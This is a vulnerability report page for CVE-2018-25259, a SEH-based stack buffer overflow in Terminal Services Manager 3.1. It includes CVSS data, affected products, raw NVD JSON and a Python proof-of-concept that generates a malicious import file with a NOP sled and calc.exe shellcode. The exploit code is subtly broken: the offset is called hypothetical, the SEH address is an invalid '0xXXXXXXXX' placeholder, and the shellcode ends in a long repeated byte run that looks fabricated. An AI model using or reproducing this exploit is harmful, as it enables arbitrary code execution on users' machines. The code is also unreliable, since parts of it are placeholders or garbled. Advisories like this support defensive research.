Security Vulnerability Report
中文
CVE-2018-25259 CVSS 8.4 HIGH

CVE-2018-25259

Published: 2026-04-22 16:16:45
Last Modified: 2026-04-29 23:33:47

Description

Terminal Services Manager 3.1 contains a stack-based buffer overflow vulnerability in the computer names field that allows local attackers to execute arbitrary code by triggering structured exception handling. Attackers can craft a malicious input file with shellcode and jump instructions that overwrite the SEH handler pointer to execute calc.exe or other payloads when imported through the add computers wizard.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lizardsystems:terminal_services_manager:*:*:*:*:*:*:*:* - VULNERABLE
Terminal Services Manager 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Generator for CVE-2018-25259 import struct def create_exploit_file(): # Offset to overwrite SEH handler (hypothetical value for demonstration) offset = 4104 # Address for POP POP RET (to bypass SEH) # Replace 0xXXXXXXXX with a valid address from a non-ASLR module seh_address = struct.pack('<L', 0xXXXXXXXX) # Next SEH: Jump back 6 bytes into the NOP sled next_seh = b'\xEB\x06\x90\x90' # NOP sled for landing stability nop_sled = b'\x90' * 32 # Shellcode: Example to execute calc.exe # msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d' -f python shellcode = b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x33\x83\xea\xfc\x31\x6a\x0f\x03\x6a\xd4\x98\x7f\xe4\x85\xe4\x21\xe6\xaf\x44\xf1\x3e\x52\x71\x09\x13\x88\xbb\xe0\xe2\xe2\xe4\x8d\x24\x2d\x6c\x8f\xa7\x8b\x3c\x05\x6e\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65" # Construct the payload # Junk data + Next SEH + SEH Address + NOPs + Shellcode payload = b'A' * offset + next_seh + seh_address + nop_sled + shellcode # Write payload to file with open('cve_2018_25259_poc.txt', 'wb') as f: f.write(payload) print("[+] Malicious file generated: cve_2018_25259_poc.txt") print("[+] Import this file via the 'Add Computers' wizard to trigger the vulnerability.") if __name__ == "__main__": create_exploit_file()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25259", "sourceIdentifier": "[email protected]", "published": "2026-04-22T16:16:45.437", "lastModified": "2026-04-29T23:33:46.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Terminal Services Manager 3.1 contains a stack-based buffer overflow vulnerability in the computer names field that allows local attackers to execute arbitrary code by triggering structured exception handling. Attackers can craft a malicious input file with shellcode and jump instructions that overwrite the SEH handler pointer to execute calc.exe or other payloads when imported through the add computers wizard."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lizardsystems:terminal_services_manager:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "F66677EE-4531-4469-BA22-8B78049C8053"}]}]}], "references": [{"url": "https://lizardsystems.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46058", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/terminal-services-manager-buffer-overflow-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}